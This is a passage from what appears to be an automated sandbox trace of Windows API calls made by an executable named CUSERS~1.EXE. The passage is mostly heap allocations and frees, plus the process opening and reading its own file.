lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.128] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.128] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0072.128] GetLastError () returned 0x0 [0072.128] SetLastError (dwErrCode=0x0) [0072.128] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7812969, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x773769 [0072.128] GetCurrentThreadId () returned 0x9b0 [0072.128] GetLastError () returned 0x0 [0072.128] SetLastError (dwErrCode=0x0) [0072.128] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8840969, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x86e709 [0072.128] GetCurrentThreadId () returned 0x9b0 [0072.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16ae) returned 0x2a853d0 [0072.128] GetLastError () returned 0x0 [0072.128] SetLastError (dwErrCode=0x0) [0072.128] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a853e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x2a853e4*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0072.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a86a88 [0072.129] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a86a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2a86a88*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0072.129] GetCurrentThreadId () returned 0x9b0 [0072.129] GetLastError () returned 0x0 [0072.129] SetLastError (dwErrCode=0x0) [0072.129] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x870709 [0072.129] GetLastError () returned 0x0 [0072.129] SetLastError (dwErrCode=0x0) [0072.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86a88 | out: hHeap=0x2ad0000) returned 1 [0072.129] CloseHandle (hObject=0x1d4) returned 1 [0072.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a86a88 [0072.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a88660 [0072.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86a88 | out: hHeap=0x2ad0000) returned 1 [0072.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a88660, Size=0x32f0) returned 0x2a88660 [0072.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a853d0 | out: hHeap=0x2ad0000) returned 1 [0072.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26e) returned 0x2a772c0 [0072.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1f970 [0072.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f970, Size=0x40) returned 0x2a2ca38 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ff0 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ff0, Size=0x8c) returned 0x2a77af8 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a6e980 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0xe8) returned 0x2a6e980 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e980, Size=0x120) returned 0x2a853d0 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a853d0, Size=0x160) returned 0x2a853d0 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a853d0, Size=0x1a8) returned 0x2a853d0 [0072.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a853d0, Size=0x1f8) returned 0x2a853d0 [0072.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x277) returned 0x2a855d0 [0072.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18000) returned 0x2a8b958 [0072.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17f98 | out: hHeap=0x2ad0000) returned 1 [0072.132] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a853d0, Size=0x250) returned 0x2a85850 [0072.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a4) returned 0x2a85aa8 [0072.132] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85850, Size=0x2b4) returned 0x2a85d58 [0072.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a88660 | out: hHeap=0x2ad0000) returned 1 [0072.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6ef00 [0072.132] GetCurrentThreadId () returned 0x9b0 [0072.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a853d0 [0072.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85850 [0072.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85960 [0072.132] GetCurrentThreadId () returned 0x9b0 [0072.132] GetCurrentThreadId () returned 0x9b0 [0072.132] GetCurrentThreadId () returned 0x9b0 [0072.133] GetCurrentThreadId () returned 0x9b0 [0072.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85960 | out: hHeap=0x2ad0000) returned 1 [0072.133] GetCurrentThreadId () returned 0x9b0 [0072.133] GetCurrentThreadId () returned 0x9b0 [0072.133] GetLastError () returned 0x0 [0072.133] SetLastError (dwErrCode=0x0) [0072.133] GetLastError () returned 0x0 [0072.133] SetLastError (dwErrCode=0x0) [0072.133] GetLastError () returned 0x0 [0072.133] SetLastError (dwErrCode=0x0) [0072.133] GetLastError () returned 0x0 [0072.133] SetLastError (dwErrCode=0x0) [0072.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ffb8 [0072.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6448 [0072.133] GetLastError () returned 0x0 [0072.133] SetLastError (dwErrCode=0x0) [0072.133] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.133] GetFileType (hFile=0x1d4) returned 0x1 [0072.133] GetFileType (hFile=0x1d4) returned 0x1 [0072.134] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0072.134] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.134] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.134] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.134] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.134] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.134] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0072.134] GetLastError () returned 0x0 [0072.134] SetLastError (dwErrCode=0x0) [0072.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8846754, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x86fda2 [0072.134] GetCurrentThreadId () returned 0x9b0 [0072.134] GetLastError () returned 0x0 [0072.134] SetLastError (dwErrCode=0x0) [0072.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7877742, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x78346e [0072.134] GetCurrentThreadId () returned 0x9b0 [0072.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6a4) returned 0x2a85d58 [0072.134] GetLastError () returned 0x0 [0072.134] SetLastError (dwErrCode=0x0) [0072.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a86408 [0072.134] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a86408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2a86408*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0072.135] GetCurrentThreadId () returned 0x9b0 [0072.135] GetLastError () returned 0x0 [0072.135] SetLastError (dwErrCode=0x0) [0072.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x78446e [0072.135] GetLastError () returned 0x0 [0072.135] SetLastError (dwErrCode=0x0) [0072.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86408 | out: hHeap=0x2ad0000) returned 1 [0072.135] CloseHandle (hObject=0x1d4) returned 1 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a86408 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a17f98 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a86408 | out: hHeap=0x2ad0000) returned 1 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17f98, Size=0xc57) returned 0x2a17f98 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1fab0 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fab0, Size=0x40) returned 0x2a19208 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19208, Size=0x64) returned 0x2a19968 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x27b) returned 0x2a19c08 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2a77af8 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a854e0 [0072.136] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a854e0, Size=0xe8) returned 0x2a854e0 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a854e0 | out: hHeap=0x2ad0000) returned 1 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17f98 | out: hHeap=0x2ad0000) returned 1 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f9b8 [0072.136] GetCurrentThreadId () returned 0x9b0 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85960 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85960 | out: hHeap=0x2ad0000) returned 1 [0072.136] GetCurrentThreadId () returned 0x9b0 [0072.136] GetCurrentThreadId () returned 0x9b0 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85960 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85960 | out: hHeap=0x2ad0000) returned 1 [0072.136] GetCurrentThreadId () returned 0x9b0 [0072.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a1fd50 [0072.136] GetCurrentThreadId () returned 0x9b0 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85850 | out: hHeap=0x2ad0000) returned 1 [0072.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a853d0 | out: hHeap=0x2ad0000) returned 1 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a853d0 [0072.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a853d0 | out: hHeap=0x2ad0000) returned 1 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a853d0 [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85850 [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85960 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85960 | out: hHeap=0x2ad0000) returned 1 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetCurrentThreadId () returned 0x9b0 [0072.137] GetLastError () returned 0x0 [0072.137] SetLastError (dwErrCode=0x0) [0072.137] GetLastError () returned 0x0 [0072.137] SetLastError (dwErrCode=0x0) [0072.137] GetLastError () returned 0x0 [0072.137] SetLastError (dwErrCode=0x0) [0072.137] GetLastError () returned 0x0 [0072.137] SetLastError (dwErrCode=0x0) [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20048 [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6458 [0072.137] GetLastError () returned 0x0 [0072.137] SetLastError (dwErrCode=0x0) [0072.138] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.138] GetFileType (hFile=0x1d4) returned 0x1 [0072.138] GetFileType (hFile=0x1d4) returned 0x1 [0072.138] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0072.138] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.138] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.138] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.138] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.138] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.138] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0072.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20048 | out: hHeap=0x2ad0000) returned 1 [0072.138] GetLastError () returned 0x0 [0072.138] SetLastError (dwErrCode=0x0) [0072.138] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7879421, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x783afd [0072.138] GetCurrentThreadId () returned 0x9b0 [0072.138] GetLastError () returned 0x0 [0072.138] SetLastError (dwErrCode=0x0) [0072.138] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8749709, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x85828d [0072.138] GetCurrentThreadId () returned 0x9b0 [0072.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4eb) returned 0x2a17f98 [0072.138] GetLastError () returned 0x0 [0072.138] SetLastError (dwErrCode=0x0) [0072.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a19e90 [0072.139] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a19e90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2a19e90*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0072.139] GetCurrentThreadId () returned 0x9b0 [0072.139] GetLastError () returned 0x0 [0072.139] SetLastError (dwErrCode=0x0) [0072.139] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x85928d [0072.139] GetLastError () returned 0x0 [0072.139] SetLastError (dwErrCode=0x0) [0072.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19e90 | out: hHeap=0x2ad0000) returned 1 [0072.139] CloseHandle (hObject=0x1d4) returned 1 [0072.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a19e90 [0072.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a85d58 [0072.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19e90 | out: hHeap=0x2ad0000) returned 1 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85d58, Size=0xa1f) returned 0x2a85d58 [0072.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17f98 | out: hHeap=0x2ad0000) returned 1 [0072.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25d) returned 0x2a17f98 [0072.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1f948 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f948, Size=0x40) returned 0x2a19298 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a19578 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2a77af8 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a854e0 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a854e0, Size=0xe8) returned 0x2a854e0 [0072.139] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a854e0, Size=0x120) returned 0x2a85960 [0072.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85960, Size=0x160) returned 0x2a18200 [0072.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18200 | out: hHeap=0x2ad0000) returned 1 [0072.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6ffd8 [0072.140] GetCurrentThreadId () returned 0x9b0 [0072.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85960 [0072.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85960 | out: hHeap=0x2ad0000) returned 1 [0072.140] GetCurrentThreadId () returned 0x9b0 [0072.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a21b68 [0072.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6ffd8 | out: hHeap=0x2ad0000) returned 1 [0072.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a2ca38 [0072.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x50) returned 0x2a70ff0 [0072.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ff0, Size=0x74) returned 0x2a77af8 [0072.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0x9c) returned 0x2a77538 [0072.140] GetCurrentThreadId () returned 0x9b0 [0072.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17f98 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85850 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a853d0 | out: hHeap=0x2ad0000) returned 1 [0072.141] GetCurrentThreadId () returned 0x9b0 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa38 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64b8 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.141] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71720 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64b8 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a22778 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6ef00 | out: hHeap=0x2ad0000) returned 1 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70c18 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.141] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a71740 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0072.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71740 | out: hHeap=0x2ad0000) returned 1 [0072.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70160 [0072.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a6e980 [0072.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x290) returned 0x2a183a0 [0072.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0072.142] RtlAllocateHeap 